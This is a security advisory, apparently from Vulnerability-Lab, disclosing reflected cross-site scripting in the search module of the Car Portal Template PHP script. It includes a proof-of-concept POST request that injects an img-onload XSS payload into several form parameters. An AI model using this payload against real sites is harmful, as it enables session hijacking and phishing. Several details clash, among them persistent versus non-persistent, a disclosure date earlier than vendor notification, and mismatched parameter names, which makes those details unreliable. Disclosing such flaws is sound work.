Car Portal Template Cross Site Scripting

Car Portal Template suffers from a cross site scripting vulnerability.

MD5 | b457bec9173d43289cb77836a7fd1bac

Document Title:
Car Portal Template - (Search) Persistent Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Non Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
Advanced web solution for creating multi-user car classifieds and auto portal websites. The software has many different features
for both the administrators to manage the sites and for the users like functionality for the car dealers to create and manage
their own micro site, email alerts in order to notify the users when new cars meeting their search criteria are listed, save the
car listings, recommend them to friends, share the listings on the social networks, multi-language support and many others.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a non persistent post inject vulnerability in the Car Portal Template PHP Script.

Affected Product(s):
NetArt Media
Product: Car Portal Template PHP Script (v2021) - CMS (Web-Application)

Vulnerability Disclosure Timeline:
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-02-08: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Pre Auth (No Privileges or Session)

User Interaction:
Low User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
A non-persistent post inject web vulnerability has been discovered in the official Car Portal Template PHP Script.
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user
session data or to manipulate application contents for clients.

The cross site scripting web vulnerability is located in the `username`, `user_first_name`, `user_last_name`, `variant`,
`power`, and `milage` parameters of the `index search` module. Remote attackers without privileged access are able to
inject own malicious script code in the search input field of the index module post method request. The execution takes
place in the results page of the search after submit via post.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.

Request method(s):
[+] POST

Vulnerable File(s):
[+] index.php

Vulnerable Input(s):
[+] Trim
[+] Power
[+] Milage
[+] First name
[+] Last name
[+] Username

Vulnerable Parameter(s):
[+] username
[+] user_first_name
[+] user_last_name
[+] variant
[+] power
[+] milage

Proof of Concept (PoC):
The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs (POST) ---
Host: car-portal-template.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 878
Connection: keep-alive
Cookie: language=en; PHPSESSID=23d238178bfb19f9bd93f25f1b465822
&type=1&username="><img src="evil.source" onload=alert(document.domain)>&password="><img src="evil.source" onload=alert(document.domain)>
&user_first_name="><img src="evil.source" onload=alert(document.domain)>&user_last_name="><img src="evil.source" onload=alert(document.domain)>
&[email protected]&user_phone=&car_make=Aixam&car_model=505&variant="><img src="evil.source" onload=alert(document.domain)>
&power="><img src="evil.source" onload=alert(document.domain)>&mileage="><img src="evil.source" onload=alert(document.domain)>
POST: HTTP/2.0 200 OK
server: Apache
set-cookie: language=en; expires=Tue; Max-Age=31536000
vary: Accept-Encoding
content-encoding: gzip
content-length: 6974
content-type: text/html; charset=UTF-8

Note: Searched queries can also be saved to be replied by the client-side within the session to followup exploitation.


Credits & Authors:
Vulnerability-Lab [Research Team] -

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